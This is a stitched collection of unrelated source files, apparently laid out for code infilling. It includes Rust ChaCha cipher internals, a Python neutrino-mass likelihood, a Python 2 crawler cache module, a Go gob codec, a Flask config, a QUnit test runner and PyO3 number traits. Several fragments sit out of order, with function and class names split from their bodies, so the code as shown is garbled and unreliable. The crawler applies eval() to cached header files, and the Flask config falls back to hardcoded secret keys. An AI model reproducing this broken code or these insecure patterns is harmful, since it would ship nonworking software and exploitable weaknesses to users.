x.a += x.b; x.d = (x.d ^ x.a).rotate_each_word_right16(); x.c += x.d; x.b = (x.b ^ x.c).rotate_each_word_right20(); x.a += x.b; x.d = (x.d ^ x.a).rotate_each_word_right24(); x.c += x.d; x.b = (x.b ^ x.c).rotate_each_word_right25(); x } #[inline(always)] pub(crate) fn diagonalize<V: LaneWords4>(mut x: State<V>) -> State<V> { x.b = x.b.shuffle_lane_words3012(); x.c = x.c.shuffle_lane_words2301(); x.d = x.d.shuffle_lane_words1230(); x } #[inline(always)] pub(crate) fn undiagonalize<V: LaneWords4>(mut x: State<V>) -> State<V> { x.b = x.b.shuffle_lane_words1230(); x.c = x.c.shuffle_lane_words2301(); x.d = x.d.shuffle_lane_words3012(); x } impl ChaCha { #[inline(always)] pub fn new(key: &[u8; 32], nonce: &[u8]) -> Self { init_chacha(key, nonce) } /// Produce 4 blocks of output, advancing the state #[inline(always)] pub fn refill4(&mut self, drounds: u32, out: &mut [u32; BUFSZ]) { refill_wide(self, drounds, out) } #[inline(always)] pub fn set_block_pos(&mut self, value: u64) { set_stream_param(self, STREAM_PARAM_BLOCK, value) } #[inline(always)] pub fn get_block_pos(&self) -> u64 { get_stream_param(self, STREAM_PARAM_BLOCK) } #[inline(always)] pub fn set_nonce(&mut self, value: u64) { set_stream_param(self, STREAM_PARAM_NONCE, value) } #[inline(always)] pub fn get_nonce(&self) -> u64 { get_stream_param(self, STREAM_PARAM_NONCE) } #[inline(always)] pub fn get_seed(&self) -> [u8; 32] { get_seed(self) } } // This implementation is platform-independent. #[inline(always)] #[cfg(target_endian = "big")] fn add_pos<Mach: Machine>(_m: Mach, d0: Mach::u32x4, i: u64) -> Mach::u32x4 { let pos0 = ((d0.extract(1) as u64) << 32) | d0.extract(0) as u64; let pos = pos0.wrapping_add(i); d0.insert((pos >> 32) as u32, 1).insert(pos as u32, 0) } #[inline(always)] #[cfg(target_endian = "big")] fn d0123<Mach: Machine>(m: Mach, d: vec128_storage) -> Mach::u32x4x4 { let d0: Mach::u32x4 = m.unpack(d); let mut pos = ((d0.extract(1) as u64) << 32) | d0.extract(0) as u64; pos = pos.wrapping_add(1); let d1 = d0.insert((pos >> 32) as u32, 1).insert(pos as u32, 0); pos = pos.wrapping_add(1); let d2 = d0.insert((pos >> 32) as u32, 1).insert(pos as u32, 0); pos = pos.wrapping_add(1); let d3 = d0.insert((pos >> 32) as u32, 1).insert(pos as u32, 0); Mach::u32x4x4::from_lanes([d0, d1, d2, d3]) } // Pos is packed into the state vectors as a little-endian u64, // so on LE platforms we can use native vector ops to increment it. #[inline(always)] #[cfg(target_endian = "little")] fn add_pos<Mach: Machine>(m: Mach, d: Mach::u32x4, i: u64) -> Mach::u32x4 { let d0: Mach::u64x2 = m.unpack(d.into()); let incr = m.vec([i, 0]); m.unpack((d0 + incr).into()) } #[inline(always)] #[cfg(target_endian = "little")] fn d0123<Mach: Machine>(m: Mach, d: vec128_storage) -> Mach::u32x4x4 { let d0: Mach::u64x2 = m.unpack(d); let incr = Mach::u64x2x4::from_lanes([m.vec([0, 0]), m.vec([1, 0]), m.vec([2, 0]), m.vec([3, 0])]); m.unpack((Mach::u64x2x4::from_lanes([d0, d0, d0, d0]) + incr).into()) } #[allow(clippy::many_single_char_names)] #[inline(always)] fn refill_wide_impl<Mach: Machine>( m: Mach, state: &mut ChaCha, drounds: u32, out: &mut [u32; BUFSZ], ) { let k = m.vec([0x6170_7865, 0x3320_646e, 0x7962_2d32, 0x6b20_6574]); let b = m.unpack(state.b); let c = m.unpack(state.c); let mut x = State { a: Mach::u32x4x4::from_lanes([k, k, k, k]), b: Mach::u32x4x4::from_lanes([b, b, b, b]), c: Mach::u32x4x4::from_lanes([c, c, c, c]), d: d0123(m, state.d), }; for _ in 0..drounds { x = round(x); x = undiagonalize(round(diagonalize(x))); } let kk = Mach::u32x4x4::from_lanes([k, k, k, k]); let sb = m.unpack(state.b); let sb = Mach::u32x4x4::from_lanes([sb, sb, sb, sb]); let sc = m.unpack(state.c); let sc = Mach::u32x4x4::from_lanes([sc, sc, sc, sc]); let sd = d0123(m, state.d); let results = Mach::u32x4x4::transpose4(x.a + kk, x.b + sb, x.c + sc, x.d + sd); out[0..16].copy_from_slice(&results.0.to_scalars()); out[16..32].copy_from_slice(&results.1.to_scalars()); out[32..48].copy_from_slice(&results.2.to_scalars()); out[48..64].copy_from_slice(&results.3.to_scalars()); state.d = add_pos(m, sd.to_lanes()[0], 4).into(); } dispatch!(m, Mach, { fn refill_wide(state: &mut ChaCha, drounds: u32, out: &mut [u32; BUFSZ]) { refill_wide_impl(m, state, drounds, out); } }); // Single-block, rounds-only; shared by try_apply_keystream for tails shorter than BUFSZ // and XChaCha's setup step. dispatch!(m, Mach, { fn refill_narrow_rounds(state: &mut ChaCha, drounds: u32) -> State<vec128_storage> { let k: Mach::u32x4 = m.vec([0x6170_7865, 0x3320_646e, 0x7962_2d32, 0x6b20_6574]); let mut x = State { a: k, b: m.unpack(state.b), c: m.unpack(state.c), d: m.unpack(state.d), }; for _ in 0..drounds { x = round(x); x = undiagonalize(round(diagonalize(x))); } State { a: x.a.into(), b: x.b.into(), c: x.c.into(), d: x.d.into(), } } }); dispatch_light128!(m, Mach, { fn set_stream_param(state: &mut ChaCha, param: u32, value: u64) { let d: Mach::u32x4 = m.unpack(state.d); state.d = d .insert((value >> 32) as u32, (param << 1) | 1) .insert(value as u32, param << 1) .into(); } }); dispatch_light128!(m, Mach, { fn get_stream_param(state: &ChaCha, param: u32) -> u64 { let d: Mach::u32x4 = m.unpack(state.d); ((d.extract((param << 1) | 1) as u64) << 32) | d.extract(param << 1) as u64 } }); dispatch_light128!(m, Mach, { fn get_seed(state: &ChaCha) -> [u8; 32] { let b: Mach::u32x4 = m.unpack(state.b); let c: Mach::u32x4 = m.unpack(state.c); let mut key = [0u8; 32]; b.write_le(&mut key[..16]); c.write_le(&mut key[16..]); key } }); fn read_u32le(xs: &[u8]) -> u32 { assert_eq!(xs.len(), 4); u32::from(xs[0]) | (u32::from(xs[1]) << 8) | (u32::from(xs[2]) << 16) | (u32::from(xs[3]) << 24) } dispatch_light128!(m, Mach, { fn init_chacha(key: &[u8; 32], nonce: &[u8]) -> ChaCha { let ctr_nonce = [ 0, if nonce.len() == 12 { read_u32le(&nonce[0..4]) } else { 0 }, read_u32le(&nonce[nonce.len() - 8..nonce.len() - 4]), read_u32le(&nonce[nonce.len() - 4..]), ]; let key0: Mach::u32x4 = m.read_le(&key[..16]); let key1: Mach::u32x4 = m.read_le(&key[16..]); ChaCha { b: key0.into(), c: key1.into(), d: ctr_nonce.into(), } } }); dispatch_light128!(m, Mach, { fn init_chacha_x(key: &[u8; 32], nonce: &[u8; 24], rounds: u32) -> ChaCha { let key0: Mach::u32x4 = m.read_le(&key[..16]); let key1: Mach::u32x4 = m.read_le(&key[16..]); let nonce0: Mach::u32x4 = m.read_le(&nonce[..16]); let mut state = ChaCha { b: key0.into(), c: key1.into(), d: nonce0.into(), }; let x = refill_narrow_rounds(&mut state, rounds); let ctr_nonce1 = [0, 0, read_u32le(&nonce[16..20]), read_u32le(&nonce[20..24])]; state.b = x.a; state.c = x.d; state.d = ctr_nonce1.into(); state } });
pub(crate) fn round<V: ArithOps + BitOps32>(mut x: State<V>) -> State<V> {
model.py
# INVERTED HIERARCHY import prior_handler as phandle import math import numpy as np import os cwd = os.path.dirname(os.path.realpath(__file__)) print(cwd) prior_handler = phandle.PriorHandler(cwd) con = prior_handler.c n_pars = prior_handler.n_pars def
(cube, n_dims, n_pars): return prior_handler.scale(cube) def observables(pars): # get the nuisances from the par-based seed nui = prior_handler.get_nui(pars) # get mt value c13 = math.cos(pars[4]) a1 = abs(math.cos(pars[3]*c13))**2 a2 = abs(math.sin(pars[3]*c13))**2 a3 = abs(math.sin(pars[4]))**2 dm2 = pars[5] Dm2 = pars[6] m3 = pars[0] m2 = math.sqrt(max([0, m3**2 + Dm2 + dm2/2])) m1 = math.sqrt(max([0, m3**2 + Dm2 - dm2/2])) # with pars, nui, con, start calculation: return [abs(a1*m1*np.exp(-1j*pars[1]) + a2*m2*np.exp(-1j*pars[2]) + a3*m3 )] def loglikelihood(pars, n_dims, n_pars): mval = observables(pars) mval = mval[0] loglikelihood = (-((mval-con[0])**2)/(2*(con[1]**2))) return loglikelihood
prior
urldata.py
""" Module containing classes that implement the CrawlerUrlData class in different ways """ # Right now there is just one implementation - the caching URL data # implementation using helper methods from urlhelper. import crawlerbase import hashlib import zlib import os import re import httplib import time from eiii_crawler import urlhelper from eiii_crawler import utils from eiii_crawler.crawlerscoping import CrawlerScopingRules # Default logging object log = utils.get_default_logger() # HTTP refresh headers http_refresh_re = re.compile(r'\s*\d+\;\s*url\=([^<>]*)', re.IGNORECASE) class CachingUrlData(crawlerbase.CrawlerUrlData): """ Caching URL data which implements caching of the downloaded URL data locally and supports HTTP 304 requests """ # REFACTORME: This class does both downloading and caching. # The proper way to do this is to derive a class which does # only downloading, another which does caching and then # inherit this as a mixin from both (MI). def __init__(self, url, parent_url, content_type, config): super(CachingUrlData, self).__init__(url, parent_url, content_type, config) self.orig_url = self.url self.headers = {} self.content = '' self.content_length = 0 # Given content-type if any self.given_content_type = content_type # Download status # True -> Success # False -> Failed self.status = False self.content_type = 'text/html' def get_url_store_paths(self): """ Return a 3-tuple of paths to the URL data and header files and their directory """ # Let us write against original URL # Always assume bad Unicode urlhash = hashlib.md5(self.orig_url.encode('latin1')).hexdigest() # First two bytes for folder, next two for file folder, sub_folder, fname = urlhash[:2], urlhash[2:4], urlhash[4:] # Folder is inside 'store' directory dirpath = os.path.expanduser(os.path.join(self.config.storedir, folder, sub_folder)) # Data file fpath = os.path.expanduser(os.path.join(dirpath, fname)) # Header file fhdr = fpath + '.hdr' return (fpath, fhdr, dirpath) def write_headers_and_data(self): """ Save the headers and data for the URL to the local store """ if self.config.flag_storedata: fpath, fhdr, dirpath = self.get_url_store_paths() # Write data to fpath # Write data ONLY if either last-modified or etag header is found. dhdr = dict(self.headers) lmt, etag = dhdr.get('last-modified'), dhdr.get('etag') try: with utils.ignore(): os.makedirs(dirpath) # Issue http://gitlab.tingtun.no/eiii/eiii_crawler/issues/412 # Always save starting URL. # Hint - parent_url is None for starting URL. if ((self.parent_url == None) or (lmt != None) or (etag != None)) and self.content: open(fpath, 'wb').write(zlib.compress(self.content)) log.info('Wrote URL content to',fpath,'for URL',self.url) if self.headers: # Add URL to it self.headers['url'] = self.url open(fhdr, 'wb').write(zlib.compress(str(dict(self.headers)))) log.info('Wrote URL headers to',fhdr,'for URL',self.url) except Exception, e: # raise log.error("Error in writing URL data for URL",self.url) log.error("\t",str(e)) def make_head_request(self, headers): """ Make a head request with header values (if-modified-since and/or etag). Return True if data is up-to-date and False otherwise. """ lmt, etag = headers.get('last-modified'), headers.get('etag') if lmt != None or etag != None: req_header = {} if lmt != None and self.config.flag_use_last_modified: req_header['if-modified-since'] = lmt if etag != None and self.config.flag_use_etags: req_header['if-none-match'] = etag try: # print 'Making a head request =>',self.url fhead = urlhelper.head_url(self.url, headers=req_header, verify = self.config.flag_ssl_validate) # Status code is 304 ? if fhead.status_code == 304: return True except urlhelper.FetchUrlException, e: pass else: log.debug("Required meta-data headers (lmt, etag) not present =>", self.url) # No lmt or etag or URL is not uptodate return False def get_headers_and_data(self): """ Try and retrieve data and headers from the cache. If cache is up-to-date, this sets the values and returns True. If cache is out-dated, returns False """ if self.config.flag_usecache: fpath, fhdr, dirpath = self.get_url_store_paths() fpath_f = os.path.isfile(fpath) fhdr_f = os.path.isfile(fhdr) if fpath_f and fhdr_f: try: content = zlib.decompress(open(fpath).read()) headers = eval(zlib.decompress(open(fhdr).read())) if self.make_head_request(headers): # Update URL from cache self.url = self.headers.get('url', self.url) log.info(self.url, "==> URL is up-to-date, returning data from cache") self.content = content self.headers = headers self.content_type = urlhelper.get_content_type(self.url, self.headers) eventr = crawlerbase.CrawlerEventRegistry.getInstance() # Raise the event for retrieving URL from cache eventr.publish(self, 'download_cache', message='URL has been retrieved from cache', code=304, event_key=self.url, params=self.__dict__) return True except Exception, e: log.error("Error in getting URL headers & data for URL",self.url) log.error("\t",str(e)) else: if not fpath_f: log.debug("Data file [%s] not present =>" % fpath, self.url) if not fhdr_f: log.debug("Header file [%s] not present =>" % fhdr, self.url) return False def build_headers(self): """ Build headers for the request """ # User-agent is always sent headers = {'user-agent': self.useragent} for hdr in self.config.client_standard_headers: val = getattr(self.config, 'client_' + hdr.lower().replace('-','_')) headers[hdr] = val return headers def pre_download(self, crawler, parent_url=None): """ Steps to be executed before actually going ahead and downloading the URL """ if self.get_headers_and_data(): self.status = True # Obtained from cache return True eventr = crawlerbase.CrawlerEventRegistry.getInstance() try: # If a fake mime-type only do a HEAD request to get correct URL, dont # download the actual data using a GET. if self.given_content_type in self.config.client_fake_mimetypes or \ any(map(lambda x: self.given_content_type.startswith(x), self.config.client_fake_mimetypes_prefix)): log.info("Making a head request",self.url,"...") fhead = urlhelper.head_url(self.url, headers=self.build_headers()) log.info("Obtained with head request",self.url,"...") self.headers = fhead.headers # If header returns 404 then skip this URL if fhead.status_code not in range(200, 300): log.error('Error head requesting URL =>', fhead.url,"status code is",fhead.status_code) return False if self.url != fhead.url: # Flexi scope - no problem # Allow external domains only for flexible site scope print "SCOPE =>", self.config.site_scope if self.config.site_scope == 'SITE_FLEXI_SCOPE': self.url = fhead.url log.info("URL updated to",self.url) else: scoper = CrawlerScopingRules(self.config, self.url) if scoper.allowed(fhead.url, parent_url, redirection=True): self.url = fhead.url log.info("URL updated to",self.url) else: log.extra('Site scoping rules does not allow URL=>', fhead.url) return False self.content_type = urlhelper.get_content_type(self.url, self.headers) # Simulate download event for this URL so it gets added to URL graph # Publish fake download complete event eventr.publish(self, 'download_complete_fake', message='URL has been downloaded fakily', code=200, params=self.__dict__) self.status = False return True except urlhelper.FetchUrlException, e: log.error('Error downloading',self.url,'=>',str(e)) # FIXME: Parse HTTP error string and find out the # proper code to put here if HTTPError. eventr.publish(self, 'download_error', message=str(e), is_error = True, code=0, params=self.__dict__) return False def download(self, crawler, parent_url=None, download_count=0): """ Overloaded download method """ eventr = crawlerbase.CrawlerEventRegistry.getInstance() index, follow = True, True ret = self.pre_download(crawler, parent_url) if ret: # Satisfied already through cache or fake mime-types return ret try: log.debug("Waiting for URL",self.url,"...") freq = urlhelper.get_url(self.url, headers = self.build_headers(), content_types=self.config.client_mimetypes + self.config.client_extended_mimetypes, max_size = self.config.site_maxrequestsize*1024*1024, verify = self.config.flag_ssl_validate ) log.debug("Downloaded URL",self.url,"...") self.content = freq.content self.headers = freq.headers # Initialize refresh url mod_url = refresh_url = self.url hdr_refresh = False # First do regular URL redirection and then header based. # Fix for issue #448, test URL: http://gateway.hamburg.de if self.url != freq.url: # Modified URL mod_url = freq.url # Look for URL refresh headers if 'Refresh' in self.headers: log.debug('HTTP Refresh header found for',self.url) refresh_val = self.headers['Refresh'] refresh_urls = http_refresh_re.findall(refresh_val) if len(refresh_urls): hdr_refresh = True # This could be a relative URL refresh_url = refresh_urls[0] # Build the full URL mod_url = urlhelper.URLBuilder(refresh_url, mod_url).build() log.info("HTTP header Refresh URL set to",mod_url) # Is the URL modified ? if so set it if self.url != mod_url: # Flexi scope - no problem # Allow external domains only for flexible site scope # print 'Scope =>',self.config.site_scope, parent_url if self.config.site_scope == 'SITE_FLEXI_SCOPE': self.url = mod_url log.info("URL updated to", mod_url) else: scoper = CrawlerScopingRules(self.config, self.url) status = scoper.allowed(mod_url, parent_url, redirection=True) # print 'SCOPER STATUS =>',status,status.status if status: self.url = mod_url log.info("URL updated to",self.url) else: log.extra('Site scoping rules does not allow URL=>', mod_url) return False # If refresh via headers, we need to fetch this as content as it # is similar to a URL redirect from the parser. if hdr_refresh: log.info('URL refreshed via HTTP headers. Downloading refreshed URL',mod_url,'...') parent_url, self.url = self.url, mod_url # NOTEME: The only time this method calls itself is here. # We set the URL to modified one and parent URL to the current one # and re-download. Look out for Buggzzzies here. return self.download(crawler, parent_url, download_count=download_count+1) # Add content-length also for downloaded content self.content_length = max(len(self.content), self.headers.get('content-length',0)) self.content_type = urlhelper.get_content_type(self.url, self.headers) # requests does not raise an exception for 404 URLs instead # it is wrapped into the status code # Accept all 2xx status codes for time being # No special processing for other status codes # apart from 200. # NOTE: requests library handles 301, 302 redirections # very well so we dont need to worry about those codes. # Detect pages that give 2xx code WRONGLY when actual # code is 404. status_code = freq.status_code if self.config.flag_detect_spurious_404: status_code = urlhelper.check_spurious_404(self.headers, self.content, status_code) if status_code in range(200, 300): self.status = True eventr.publish(self, 'download_complete', message='URL has been downloaded successfully', code=200, event_key=self.url, params=self.__dict__) elif status_code in range(500, 1000): # There is an error but if we got data then fine - Fix for issue #445 self.status = True eventr.publish(self, 'download_complete', message='URL has been downloaded but with an error', code=500, event_key=self.url, params=self.__dict__) else: log.error("Error downloading URL =>",self.url,"status code is ", status_code) eventr.publish(self, 'download_error', message='URL has not been downloaded successfully', code=freq.status_code, params=self.__dict__) self.write_headers_and_data() freq.close() except urlhelper.FetchUrlException, e: log.error('Error downloading',self.url,'=>',str(e)) # FIXME: Parse HTTP error string and find out the # proper code to put here if HTTPError. eventr.publish(self, 'download_error', message=str(e), is_error = True, code=0, params=self.__dict__) except httplib.IncompleteRead, e: log.error("Error downloading",self.url,'=>',str(e)) # Try 1 more time time.sleep(1.0) if download_count == 0: log.info('Retrying download for',self.url,'...') return self.download(crawler, parent_url, download_count=download_count+1) else: # Raise error eventr.publish(self, 'download_error', message=str(e), is_error = True, code=0, params=self.__dict__) except (urlhelper.InvalidContentType, urlhelper.MaxRequestSizeExceeded), e: log.error("Error downloading",self.url,'=>',str(e)) eventr.publish(self, 'download_error', message=str(e), is_error = True, code=0, params=self.__dict__) return True def get_data(self): """ Return the data """ return self.content def get_headers(self): """ Return the headers """ return self.headers def get_url(self):
""" Return the downloaded URL. This is same as the passed URL if there is no modification (such as forwarding) """ return self.url def get_content_type(self): """ Return the content-type """ # URL might have been, # 1. Actually downloaded # 2. Obtained from cache # 3. Faked (head request) # Make sure self.content_type is up2date # in all 3 cases. return self.content_type
codec.go
package tiny import ( "bytes" "encoding/gob" ) // Data presents the data transported between server and client. type Data struct { Name string // service name Args []interface{} // request's or response's body except error Err string // remote server error } func encode(data Data) ([]byte, error)
func decode(b []byte) (Data, error) { buf := bytes.NewBuffer(b) decoder := gob.NewDecoder(buf) var data Data if err := decoder.Decode(&data); err != nil { return Data{}, err } return data, nil }
{ var buf bytes.Buffer encoder := gob.NewEncoder(&buf) if err := encoder.Encode(data); err != nil { return nil, err } return buf.Bytes(), nil }
config.py
import os basedir = os.path.abspath(os.path.dirname(__file__)) imagesdir = os.path.join(os.path.dirname(basedir),'uploads') """Constants used throughout the application. All hard coded settings/data that are not actual/official configuration options for Flask and their extensions goes here. """ class Config: """Default Flask configuration inherited by all environments. Use this for development environments. """ SECRET_KEY = os.environ.get("SECRET_KEY") or "big secret" JWT_SECRET_KEY = os.environ.get("SECRET_KEY") or "very big secret" JWT_BLACKLIST_ENABLED = True JWT_BLACKLIST_TOKEN_CHECKS = ["access", "refresh"] LABELS_ALLOWED = ["bbox","polygon"] TEAMS_ALLOWED = ["labels","images","image labelling","models"] @staticmethod def init_app(app): pass class DevelopmentConfig(Config): """Development Congigurations""" DEBUG = True SQLALCHEMY_DATABASE_URI = os.environ.get( "DEV_DATABASE_URL" ) SQLALCHEMY_TRACK_MODIFICATIONS = False # needs to be removed in further versions ML_FILES_DIR = os.path.join(os.path.dirname(basedir),'ml_files') UPLOAD_FOLDER = imagesdir class TestingConfig(Config): """ Testing config applies for both local testing and travis configurations """ TESTING = True WTF_CSRF_ENABLED = False TEST_DATABASE = os.environ.get( "TEST_DATABASE_URL" ) if os.getenv("FLASK_CONFIG")=="travis": pass else: from sqlalchemy_utils.functions import database_exists, create_database if not database_exists(TEST_DATABASE): create_database(TEST_DATABASE) SQLALCHEMY_DATABASE_URI = TEST_DATABASE SQLALCHEMY_TRACK_MODIFICATIONS = False # needs to be removed in further versions UPLOAD_FOLDER = imagesdir class ProductionConfig(Config): """Production Congigurations""" SQLALCHEMY_DATABASE_URI = os.environ.get( "DATABASE_URL" ) @classmethod def init_app(cls, app): Config.init_app(app) class DockerConfig(Config): """Docker config""" @classmethod def init_app(cls, app): ProductionConfig.init_app(app) # log to stderr import logging from logging import StreamHandler file_handler = StreamHandler() file_handler.setLevel(logging.INFO) app.logger.addHandler(file_handler) class
(Config): """ Configs for travis """ TESTING = True WTF_CSRF_ENABLED = False SQLALCHEMY_TRACK_MODIFICATIONS = False # needs to be removed in further versions UPLOAD_FOLDER = imagesdir ML_FILES_DIR = os.path.join(os.path.dirname(basedir),'ml_files') LABELS_ALLOWED = ["bbox","polygon"] TEAMS_ALLOWED = ["labels","images","image labelling","models"] config = { "development": DevelopmentConfig, "testing": TestingConfig, "production": ProductionConfig, "docker": DockerConfig, "default": DevelopmentConfig, "travis": TravisConfig }
TravisConfig
run.js
"use strict"; const path = require( "path" ); const walkSync = require( "walk-sync" ); const requireFromCWD = require( "./require-from-cwd" ); const requireQUnit = require( "./require-qunit" ); const utils = require( "./utils" ); const IGNORED_GLOBS = [ "**/node_modules/**" ]; const RESTART_DEBOUNCE_LENGTH = 200; let QUnit; function run( args, options ) { // Default to non-zero exit code to avoid false positives process.exitCode = 1; const files = utils.getFilesFromArgs( args ); QUnit = requireQUnit(); if ( options.filter ) { QUnit.config.filter = options.filter; } const seed = options.seed; if ( seed ) { if ( seed === true ) { QUnit.config.seed = Math.random().toString( 36 ).slice( 2 ); } else { QUnit.config.seed = seed; } console.log( `Running tests with seed: ${QUnit.config.seed}` ); } // TODO: Enable mode where QUnit is not auto-injected, but other setup is // still done automatically. global.QUnit = QUnit; options.requires.forEach( requireFromCWD ); options.reporter.init( QUnit ); for ( let i = 0; i < files.length; i++ ) { const filePath = path.resolve( process.cwd(), files[ i ] ); delete require.cache[ filePath ]; try { require( filePath ); } catch ( e ) { // eslint-disable-next-line no-loop-func QUnit.module( files[ i ], function() { const loadFailureMessage = `Failed to load the test file with error:\n${e.stack}`; QUnit.test( loadFailureMessage, function( assert ) { assert.ok( false, "should be able to load file" ); } ); } ); } } let running = true; // Listen for unhandled rejections, and call QUnit.onUnhandledRejection process.on( "unhandledRejection", function( reason ) { QUnit.onUnhandledRejection( reason ); } ); process.on( "uncaughtException", function( error ) { QUnit.onError( error ); } ); process.on( "exit", function() { if ( running ) { console.error( "Error: Process exited before tests finished running" ); const currentTest = QUnit.config.current; if ( currentTest && currentTest.semaphore ) { const name = currentTest.testName; console.error( "Last test to run (" + name + ") has an async hold. " + "Ensure all assert.async() callbacks are invoked and Promises resolve. " + "You should also set a standard timeout via QUnit.config.testTimeout." ); } } } ); QUnit.start(); QUnit.on( "runEnd", function setExitCode( data ) { running = false; if ( data.testCounts.failed ) { process.exitCode = 1; } else { process.exitCode = 0; } } ); } run.restart = function( args ) { clearTimeout( this._restartDebounceTimer ); this._restartDebounceTimer = setTimeout( () => { const watchedFiles = walkSync( process.cwd(), { globs: [ "**/*.js" ], directories: false, ignore: IGNORED_GLOBS } ); watchedFiles.forEach( file => delete require.cache[ path.resolve( file ) ] ); if ( QUnit.config.queue.length ) { console.log( "Finishing current test and restarting..." ); } else { console.log( "Restarting..." ); } run.abort( () => run.apply( null, args ) ); }, RESTART_DEBOUNCE_LENGTH ); }; run.abort = function( callback ) { function clearQUnit() { delete global.QUnit; QUnit = null; if ( callback ) { callback(); } } if ( QUnit.config.queue.length ) { const nextTestIndex = QUnit.config.queue.findIndex( fn => fn.name === "runTest" ); QUnit.config.queue.splice( nextTestIndex ); QUnit.on( "runEnd", clearQUnit ); } else { clearQUnit(); }
}; function watcherEvent( event, args ) { return ( file ) => { console.log( `File ${event}: ${file}` ); run.restart( args ); }; } run.watch = function watch() { const chokidar = require( "chokidar" ); const args = Array.prototype.slice.call( arguments ); const watcher = chokidar.watch( "**/*.js", { ignored: IGNORED_GLOBS, ignoreInitial: true } ); watcher.on( "ready", () => run.apply( null, args ) ); watcher.on( "change", watcherEvent( "changed", args ) ); watcher.on( "add", watcherEvent( "added", args ) ); watcher.on( "unlink", watcherEvent( "removed", args ) ); function stop() { console.log( "Stopping QUnit..." ); watcher.close(); run.abort( () => { process.exit(); } ); } process.on( "SIGTERM", stop ); process.on( "SIGINT", stop ); }; module.exports = run;
number.rs
// Copyright (c) 2017-present PyO3 Project and Contributors //! Python Number Interface //! Trait and support implementation for implementing number protocol use crate::callback::PyObjectCallbackConverter; use crate::class::basic::PyObjectProtocolImpl; use crate::class::methods::PyMethodDef; use crate::err::PyResult; use crate::type_object::PyTypeInfo; use crate::FromPyObject; use crate::{ffi, IntoPy, PyObject}; /// Number interface #[allow(unused_variables)] pub trait PyNumberProtocol<'p>: PyTypeInfo { fn __add__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberAddProtocol<'p>, { unimplemented!() } fn __sub__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberSubProtocol<'p>, { unimplemented!() } fn __mul__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberMulProtocol<'p>, { unimplemented!() } fn __matmul__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberMatmulProtocol<'p>, { unimplemented!() } fn __truediv__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberTruedivProtocol<'p>, { unimplemented!() } fn __floordiv__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberFloordivProtocol<'p>, { unimplemented!() } fn __mod__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberModProtocol<'p>, { unimplemented!() } fn __divmod__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberDivmodProtocol<'p>, { unimplemented!() } fn __pow__(lhs: Self::Left, rhs: Self::Right, modulo: Self::Modulo) -> Self::Result where Self: PyNumberPowProtocol<'p>, { unimplemented!() } fn __lshift__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberLShiftProtocol<'p>, { unimplemented!() } fn __rshift__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberRShiftProtocol<'p>, { unimplemented!() } fn __and__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberAndProtocol<'p>, { unimplemented!() } fn __xor__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberXorProtocol<'p>, { unimplemented!() } fn __or__(lhs: Self::Left, rhs: Self::Right) -> Self::Result where Self: PyNumberOrProtocol<'p>, { unimplemented!() } fn __radd__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRAddProtocol<'p>, { unimplemented!() } fn __rsub__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRSubProtocol<'p>, { unimplemented!() } fn __rmul__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRMulProtocol<'p>, { unimplemented!() } fn __rmatmul__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRMatmulProtocol<'p>, { unimplemented!() } fn __rtruediv__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRTruedivProtocol<'p>, { unimplemented!() } fn __rfloordiv__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRFloordivProtocol<'p>, { unimplemented!() } fn __rmod__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRModProtocol<'p>, { unimplemented!() } fn __rdivmod__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRDivmodProtocol<'p>, { unimplemented!() } fn __rpow__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRPowProtocol<'p>, { unimplemented!() } fn __rlshift__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRLShiftProtocol<'p>, { unimplemented!() } fn __rrshift__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRRShiftProtocol<'p>, { unimplemented!() } fn __rand__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRAndProtocol<'p>, { unimplemented!() } fn __rxor__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberRXorProtocol<'p>, { unimplemented!() } fn __ror__(&'p self, other: Self::Other) -> Self::Result where Self: PyNumberROrProtocol<'p>, { unimplemented!() }
fn __iadd__(&'p mut self, other: Self::Other) -> Self::Result where Self: PyNumberIAddProtocol<'p>, { unimplemented!() } fn __isub__(&'p mut self, other: Self::Other) -> Self::Result where Self: PyNumberISubProtocol<'p>, { unimplemented!() } fn __imul__(&'p mut self, other: Self::Other) -> Self::Result where Self: PyNumberIMulProtocol<'p>, { unimplemented!() } fn __imatmul__(&'p mut self, other: Self::Other) -> Self::Result where Self: PyNumberIMatmulProtocol<'p>, { unimplemented!() } fn __itruediv__(&'p mut self, other: Self::Other) -> Self::Result where Self: PyNumberITruedivProtocol<'p>, { unimplemented!() } fn __ifloordiv__(&'p mut self, other: Self::Other) -> Self::Result where Self: PyNumberIFloordivProtocol<'p>, { unimplemented!() } fn __imod__(&'p mut self, other: Self::Other) -> Self::Result where Self: PyNumberIModProtocol<'p>, { unimplemented!() } fn __ipow__(&'p mut self, other: Self::Other, modulo: Self::Modulo) -> Self::Result where Self: PyNumberIPowProtocol<'p>, { unimplemented!() } fn __ilshift__(&'p mut self, other: Self::Other) -> Self::Result where Self: PyNumberILShiftProtocol<'p>, { unimplemented!() } fn __irshift__(&'p mut self, other: Self::Other) -> Self::Result where Self: PyNumberIRShiftProtocol<'p>, { unimplemented!() } fn __iand__(&'p mut self, other: Self::Other) -> Self::Result where Self: PyNumberIAndProtocol<'p>, { unimplemented!() } fn __ixor__(&'p mut self, other: Self::Other) -> Self::Result where Self: 